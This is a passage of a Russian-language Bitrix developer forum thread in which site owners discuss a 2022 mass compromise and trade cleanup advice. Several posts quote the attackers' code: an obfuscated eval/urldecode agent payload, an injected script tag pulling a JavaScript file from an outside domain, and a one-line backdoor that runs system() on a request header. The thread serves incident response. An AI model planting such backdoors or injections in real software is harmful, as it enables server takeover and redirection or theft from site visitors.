Разработчикам

Взломаны сайты в честь дня конституции украины

RSS

Пользователь 3014629

Заглянувший

Сообщений: 2 Регистрация: 02.11.2022

#301

03.11.2022 14:56:36

Цитата
написал: pload/tmp/BXTEMP-ДД-ММ-ГГ создаетс

Спасибо за ответ. А наличие какого файла в папке upload/tmp/BXTEMP-ДД-ММ-ГГ будет считаться наличием вируса на сайте ? там внутри много папок и файлов разных...

Пользователь 5339718

Заглянувший

Сообщений: 25 Баллов: 2 Регистрация: 11.06.2021

#302

03.11.2022 14:59:43

Цитата

написал:

Цитата
написал: pload/tmp/BXTEMP-ДД-ММ-ГГ создаетс

Чаще всего файл с длинным названием и произвольным набором символов. Либо можете пролистать тему и посмотреть как он выглядел на практике у зараженных сайтов.

Пользователь 399582

Постоянный посетитель

Сообщений: 49 Баллов: 10 Регистрация: 22.10.2015

#303

06.11.2022 14:15:48

В /upload/tmp появился файл yt.php
В публичном разделе, в каждой папке структуры (/catalog/ /about/ итд) тоже он.
Нашлись с помощью
https://marketplace.1c-bitrix.ru/solutions/bitrix.xscan/
В самом файле не читабельное месиво, что делает не понятно.
Нашелся на двух сайтах.

------------------------------------------
Всякое про битрикс
https://bazarow.ru/blog-note/

Пользователь 4281601

Постоянный посетитель

Сообщений: 174 Баллов: 28 Регистрация: 14.08.2020

#304

07.11.2022 15:12:53

Цитата
написал: Нашелся на двух сайтах.

Ещё бы логи и к какому файлу обращается с каким запросом что бы потом забанить))

Автоматизация Торговли (319758.ru)

Пользователь 181407 Постоянный посетитель Сообщений: 68 Баллов: 10 Регистрация: 09.08.2015	#305 08.11.2022 13:18:16 Я запретил папке prolog и файлу core.js редактирование, пока вирус не появлялся после этого. Следим за развитием ситуации...

Пользователь 462185

Заглянувший

Сообщений: 3 Регистрация: 14.01.2016

#306

09.11.2022 16:49:29

Здравствуйте, подскажите пожалуйста, обнаружили неизвестный нам агент на сайте, с таким содержимым:

Код

$arAgent["NAME"];//b3)!UCls}iWP:za #<n8HCZak~chvX[%g@[HF1LrCeval   //%L'6v[ ^P/):8#Mu^n4o.wMCYt<^}vUkn(8-,*.>Ed"(    //y0qoOW 2Rdq Re`X[%|bAWqRO4~rOSxwNz;\1kSjurldecode#@t3N(Zno!4p;m(//}v2Cf|SU5l.EGJ[ <]wfAL)RUstrrev//Oj]iSN}~!&{rC^a^b$ARzI@?NB(#HB9QbQPM}hFU,4?c-[$Iy@'b3%56%57%27%47%02%e6%27%57%47%56%27%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%92%27%42%82%c6%16%67%56%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%56%37%c6%56%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%27%42%02%d3%02%47%c6%57%37%56%27%f5%c6%16%67%56%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%92%22%13%02%d3%02%44%94%02%54%25%54%84%75%02%72%e4%72%02%d3%02%44%f4%94%25%54%05%f5%35%94%02%c2%03%63%02%d3%02%c4%14%65%25%54%45%e4%94%f5%45%e4%54%74%14%02%45%54%35%02%47%e6%56%76%16%f5%26%02%54%45%14%44%05%55%22%82%97%27%56%57%15%e3%d2%24%44%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%92%92%d5%22%87%87%87%56%27%f6%47%37%56%27%22%b5%45%35%54%55%15%54%25%f5%42%82%47%56%37%37%96%82%66%96%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%72%b3%92%82%16%47%16%44%47%96%d6%26%57%37%a3%a3%56%c6%26%16%45%16%47%16%44%27%56%47%e6%57%f6%34%c5%c5%37%36%96%47%97%c6%16%e6%14%c5%c5%e6%96%16%d4%c5%c5%87%96%27%47%96%24%c5%c5%72%02%d3%02%27%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%56%37%c6%56%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%47%96%87%56%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%92%56%42%02%e6%f6%96%47%07%56%36%87%54%82%02%86%36%47%16%36%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%d7%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b3%92%92%92%d5%22%87%87%87%96%27%47%96%26%22%b5%45%35%54%55%15%54%25%f5%42%82%56%46%f6%36%56%46%c6%27%57%82%56%46%f6%36%56%46%c6%27%57%82%c6%16%67%56%02%d3%02%56%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%97%27%47%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%a0%d0%b3%92%22%13%02%d3%02%44%94%02%54%25%54%84%75%02%72%e4%72%02%d3%02%74%e4%94%e4%e4%55%25%02%c2%03%02%d3%02%45%e4%55%f4%34%f5%95%25%45%54%25%02%c2%c4%c4%55%e4%02%d3%02%b4%34%54%84%34%f5%54%45%14%44%02%45%54%35%02%47%e6%56%76%16%f5%26%02%54%45%14%44%05%55%22%82%97%27%56%57%15%e3%d2%24%44%42%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%b7%92%92%d5%22%87%87%87%96%27%47%96%26%22%b5%45%35%54%55%15%54%25%f5%42%82%47%56%37%37%96%82%66%96%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%a0%d0%' /*7s%]YC79!(Iy!PH8p|^qS(PL`N|AtTXpgR]v/9Oya*/)#BrDTVN{4;~2]^<?C6UrR!Dfo_}E2)/*|q:uZO]rm%VOw=\p@cg+C|>f*/)      //xTiGO#1\ITXAI&--/VB8E>z9[rS|gE\$Ao%;#S+i?m<*K;QF,mT&g7L%Ho"o5%@n\}!^

Видно что агент выполнялся, но каких то модифицированных файлов в каталогах сайтах мы не обнаружили.
Нельзя ли определить, какой вред мог нанести данный код?

Пользователь 91502

Заглянувший

Сообщений: 21 Баллов: 1 Регистрация: 17.05.2011

#307

10.11.2022 00:31:38

Я если честно пока ветку дочитал просто чуть со смеху не помер, есть хоть кто то кто осознал проблему BITRIX , хоть кто-то кто понимает что вся линейка BITRIX просто дыра возможно не умышленно сделали лазейки для себя а возможно по тупости и некомпетентности. Скачал свежую сборочку и проверил на несколько видов атак.. был удивлен и разочарован, дыры пришлось устранять самостоятельно, разочарую всех у кого не VPS ... ГОТОВЬТЕСЬ К ВЗЛОМУ ИЛИ ПРОСТО ИЩИТЕ НОВЫЙ ДВИЖОК...

Пользователь 47756

Заглянувший

Сообщений: 5 Регистрация: 26.08.2009

#308

10.11.2022 00:53:14

Цитата

написал:
Я если честно пока ветку дочитал просто чуть со смеху не помер, есть хоть кто то кто осознал проблему BITRIX , хоть кто-то кто понимает что вся линейка BITRIX просто дыра возможно не умышленно сделали лазейки для себя а возможно по тупости и некомпетентности. Скачал свежую сборочку и проверил на несколько видов атак.. был удивлен и разочарован, дыры пришлось устранять самостоятельно, разочарую всех у кого не VPS ... ГОТОВЬТЕСЬ К ВЗЛОМУ ИЛИ ПРОСТО ИЩИТЕ НОВЫЙ ДВИЖОК...

Сборочкой не поделитесь ?

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#309

10.11.2022 03:54:35

Алексей Чебанов, поясните этот момент

Цитата
разочарую всех у кого не VPS ...

. В чем разница?

Какие именно виды атак на свежей сборки прошли?
Какие дыры Вы залатали?

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 91502

Заглянувший

Сообщений: 21 Баллов: 1 Регистрация: 17.05.2011

#310

10.11.2022 21:24:33

Еще раз отвечу и думаю поставлю точку. Я не могу Вам тут описать метод взлома и уязвимости БИТРИКС это не законно, кому нужна свежая сборка скачивайте виртуальную машину и далее делайте стандартную установку предложенными в упаковке скриптами. Чтоб как то себя обезопасить делайте копию рабочего сайта каждые 12 часов. Я готов выложить компании Битрикс решения для ВПС серверов sab-ip@mail.ru . А ведь помница мне как я ругался с поддержкой и ранее описывал им их ошибки и халатность, допрыгались , слушать надо когда Вам что то говорят , а не оскорблять. Пожинаем плоды дебилокодеров

Пользователь 13618 Эксперт Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011 Сертифицированный партнер	#311 11.11.2022 03:38:42 Алексей Чебанов, Вас оскорбляли? Так и не понял, чем решение для vps будет отличаться от решения для шаред хостинга Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 6748714

Заглянувший

Сообщений: 1 Регистрация: 11.11.2022

#312

11.11.2022 20:27:50

Цитата

написал:
Еще раз отвечу и думаю поставлю точку. Я не могу Вам тут описать метод взлома и уязвимости БИТРИКС это не законно, кому нужна свежая сборка скачивайте виртуальную машину и далее делайте стандартную установку предложенными в упаковке скриптами. Чтоб как то себя обезопасить делайте копию рабочего сайта каждые 12 часов. Я готов выложить компании Битрикс решения для ВПС серверов sab-ip@mail.ru . А ведь помница мне как я ругался с поддержкой и ранее описывал им их ошибки и халатность, допрыгались , слушать надо когда Вам что то говорят , а не оскорблять. Пожинаем плоды дебилокодеров

Что в описании уязвимостей незаконного? Но раз уж так считаешь, поделись хотя бы одной уже закрытой и неизвестной уязвимостью, типа инъекции или подобного. Воздух сотрясаешь просто и людей оскорбляешь почём зря.
Решениями он поделится, без тебя эксперта разберутся. Делать копию каждые 12 часов... а почему не 6? Вовремя обновляться надо и следовать лучшим практикам безопасности, вот и все.

Пользователь 6403492 Заглянувший Сообщений: 16 Баллов: 1 Регистрация: 02.07.2022	#313 14.11.2022 22:51:27 История получила продолжение Проверяйте у себя /usr/sbin/arpspoof И если он есть, то вероятно ваша сеть (ессно помимо сервера) скомпроментированы

Пользователь 6403492 Заглянувший Сообщений: 16 Баллов: 1 Регистрация: 02.07.2022	#314 14.11.2022 22:55:39 Это если кроны битры выполнялись от рута вероятно Многие не учитывают почему-то этот момент

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#315

15.11.2022 04:11:41

Цитата
G_117158064567874128672 написал: Это если кроны битры выполнялись от рута вероятно

Зачем кому-то это делать?

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 6403492

Заглянувший

Сообщений: 16 Баллов: 1 Регистрация: 02.07.2022

#316

15.11.2022 05:29:52

Цитата
написал: Зачем кому-то это делать?

Я не знаю, но человек выше который про НЕ VPS писал может быть был взломан именно так
По сути изучают внутреннюю сеть для дальнейших атак
Выяснили как раз за счёт спуфинга некоторых адресов наших клиентов

У всех жертв общее это выделенный сервер с уязвимой битрой и кронами от рута

Пользователь 4281601

Постоянный посетитель

Сообщений: 174 Баллов: 28 Регистрация: 14.08.2020

#317

15.11.2022 14:49:49

Цитата
написал: У всех жертв общее это выделенный сервер с уязвимой битрой и кронами от рута

Как говорится - главная проблема на против монитора

Автоматизация Торговли (319758.ru)

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#318

15.11.2022 15:28:02

Цитата
G_117158064567874128672 написал: У всех жертв общее это выделенный сервер с уязвимой битрой и кронами от рута

Дак это ж всё - сразу "Привет"
Скрипт будет выполняться от рута, со всеми вытекающими ...

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 4281601

Постоянный посетитель

Сообщений: 174 Баллов: 28 Регистрация: 14.08.2020

#319

16.11.2022 02:35:03

Цитата
написал: Снова был модифицирован файл core.js, хотя у него запрещено редактирование

Лучше бы логи скинули через какой файл инъекция

Автоматизация Торговли (319758.ru)

Пользователь 2494815 Заглянувший Сообщений: 10 Регистрация: 26.10.2018	#320 16.11.2022 04:02:08 =)

Пользователь 1854799

Заглянувший

Сообщений: 3 Регистрация: 16.03.2018

#321

16.11.2022 08:38:02

Цитата

написал:
Нуссс.. ребята. Рад был присутствовать в вашей компашке и по совместительству с 1С -Битрикс. За 2 месяца я написал сайт на WP и перенес все туда. Всем спасибо, всем пока) Битриксу удачи в борьбе с "Дырками". А вам участники форума и коллеги - не падать духом. Да прибудет с вами ROOT!

Отлично. Рады пополнению! Приглашаем тебя на форум вордпресса, у нас много тем для обсуждения. Недавно вышло обновление 6.1.1 с исправлением уязвимостей и 50 ошибок, есть что обсудить.

Пользователь 738197

Заглянувший

Сообщений: 2 Регистрация: 16.11.2016

#322

28.11.2022 12:09:53

Цитата

написал:

Цитата
написал: pload/tmp/BXTEMP-ДД-ММ-ГГ создаетс

У меня тоже нашлась крайне странная папка похожая, снёс её нафиг - посмотрим.

Обновление ядра не помогло ранее.

Пользователь 330739 Посетитель Сообщений: 44 Баллов: 6 Регистрация: 16.04.2015	#323 28.11.2022 18:21:14 в prolog и core.js нет вредоносных строк, а код сайта встраивается <sc ript src='https://storepay.pw/jqueryui.js'></sc ript> Где может еще прятаться?

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#324

29.11.2022 14:17:13

Цитата
Alex Sam написал: в prolog и core.js нет вредоносных строк, а код сайта встраивается <sc ript src='https://storepay.pw/jqueryui.js'></sc ript> Где может еще прятаться?

поиском поищите, либо методом исключения ... уже встроенную рабочую иньекцию думаю найти то можно

вообще вот хорошая статья на эту тему (но это от будущих заражений, то что уже заражено нужно самому вычистить).

https://kuratov.ru/blog/bitriks-v-bede-sajty-na-bitriks-podverglis-atake/

Пишут, что зараза редиректит на фейковый сайт озона - а это попахивает "жареным" т.е. посетители запросто могут там что то приобрести ...

Если коротенько
* чистим /bitrix/js/main/core/core.js (в конце - строчка начинается с s=document.createElement(script) )
* чистим /bitrix/modules/main/include/prolog.php (в конце - строчка подключения jqueryui.js)
* убиваем /bitrix/components/bitrix/main.file.input/main.php (я так понимаю скрипт управления - чтоб проще заливать было что захочешь)
* чистим /bitrix/modules/fileman/classes/general/html_editor.php (вырезаем 2 строчки - бэкдор на выполнение system())
"spell_word" => $_SERVER['HTTP_S'] == "bermuda" ? die(system($_SERVER['HTTP_P'])) : "",
И
if(substr($_POST['bxu_info']['CID'], 0, 7 ) === "default") die();

Внимание! - искать не полностью по вхождению т.к. у меня вместо bermuda было speaker

А в следующей статье - как залатать дыры, чтобы такое больше не появлялось,
правда боюсь с такой реализацией могут быть проблемы с встроенным html редактором - поэтому думаю правильнее просто обновить Битрикс до актуальной версии.

https://dzen.ru/media/mills/virusy-na-1sbitriks-2022g-62d158c2c4469e06dcb158a4

Цитата
/bitrix/tools/vote/uf.php над вызовом модуля вписываем: if ($_SERVER['REQUEST_METHOD'] === 'POST') { header("Status: 404 Not Found"); die(); } Тоже самое и в файле /bitrix/tools/html_editor_action.php

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#325

29.11.2022 15:50:37

Цитата
Максим Алекс написал: Спасибо за ответ. А наличие какого файла в папке upload/tmp/BXTEMP-ДД-ММ-ГГ будет считаться наличием вируса на сайте ? там внутри много папок и файлов разных...

судя по информации в статьях из предыдущего поста - с большой долей вероятности вас взломали через уязвимость html_editor_action.php - все симптомы взлом "на лицо"

на сайте, где в данный момент занимаюсь этой проблемой обнаружил тоже самое
"снос" данной папки Вам вообще ничего не даст - это следы взлома, нужно защищать html_editor_action.php либо обновляться

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Взломаны сайты в честь дня конституции украины

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером